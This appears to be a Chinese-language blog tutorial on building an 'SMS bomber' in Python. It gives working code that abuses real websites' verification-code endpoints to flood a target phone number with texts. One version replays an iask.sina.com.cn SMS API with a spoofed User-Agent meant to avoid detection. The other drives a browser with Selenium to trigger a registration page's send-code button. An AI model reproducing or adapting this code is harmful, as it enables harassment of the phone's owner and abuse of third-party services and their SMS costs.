该教程以Python为例介绍了两种常用的短信轰炸方式
该方法的本质是调用了网站发送短信的接口,模拟了一个HTTP请求(即模拟一个post或者一个get请求)
import requests
headers = {
"User-Agnet":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57",
}
def iask(phone_number):
data = {
"mobile":phone_number,
"nationCode":"86",
"businessCode":4,
"terminal":"pc",
"businessSys":"iask",
}
response = requests.post('https://iask.sina.com.cn/cas-api/sendSms',data = data,headers = headers)
print("iask网站",response.text)
pip命令下载所需的requests包
pip install requests
import requests #导入所需要的包
#构造一个报文头假装自己是一个浏览器
#User-Agnet是用户代理的意思
#Python3.5的User-Agent是Python-urllib/3.5,我们要修改这个变量,以免服务器发现我们是一个Python程序
#具体数据我们从浏览器抄写一手
headers = {
"User-Agnet":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57",
}
找接口(以爱问知识网为例)
网址如下:https://iask.sina.com.cn
def iask(phone_number):
#这是我们刚才找到的表单数据
data = {
"mobile":phone_number,
"nationCode":"86",
"businessCode":4,
"terminal":"pc",
"businessSys":"iask",
}
#刚才我们发现请求时post请求,所以我们试用requests.post方法
#把我们刚才造好的headers和data放入请求中
response = requests.post('https://iask.sina.com.cn/cas-api/sendSms',data = data,headers = headers)
#得到一个返回值,可以查看是否成功
print("iask网站",response.text)
为什么我们要通过模拟点击的方法实现一个短信轰炸?
因为很多网站发送的报文信息都是加密的,我们不知道他们的加密方式,所以我们没法模拟一个post或者git请求,或者发送的报文信息过于复杂,我们难以构造
from selenium import webdriver
def wangke(phone_number):
browser = webdriver.Edge('C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\msedgedriver.exe')
url = 'http://www.wangkezhijia.net/register'
browser.get(url)
input_phone_number=browser.find_element_by_xpath('//input[@name="mobile"]')
input_phone_number.send_keys(phone_number)
sent_msg=browser.find_element_by_xpath('//button[@class="hqyz"]')
sent_msg.click()
browser.close()
pip install selenium
-
Edge驱动下载地址,根据自己的浏览器下载所需的驱动 驱动下载地址:https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/
-
解压到一个合适的位置,我们一会通过绝对路径的方式引用该驱动
-
还有一种更便捷的方法,我们可以将驱动程序msedgedriver.exe改名为MicrosoftWebDriver.exe,并将此文件放在Python的安装路径下,就可以不用添加路径
#导入我们所需要的包selenium
from selenium import webdriver
def wangke(phone_number):
#根据绝对路径导入驱动
#也可以配置环境变量的方式,这里以绝对路径演示
browser = webdriver.Edge('C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\msedgedriver.exe')
#网站的网址
url = 'http://www.wangkezhijia.net/register'
browser.get(url)
#定位输入手机号的位置,并输入手机号
input_phone_number=browser.find_element_by_xpath('//input[@name="mobile"]')
input_phone_number.send_keys(phone_number)
#定位发送验证码按钮,点击按钮
sent_msg=browser.find_element_by_xpath('//button[@class="hqyz"]')
sent_msg.click()
#关闭浏览器
browser.close()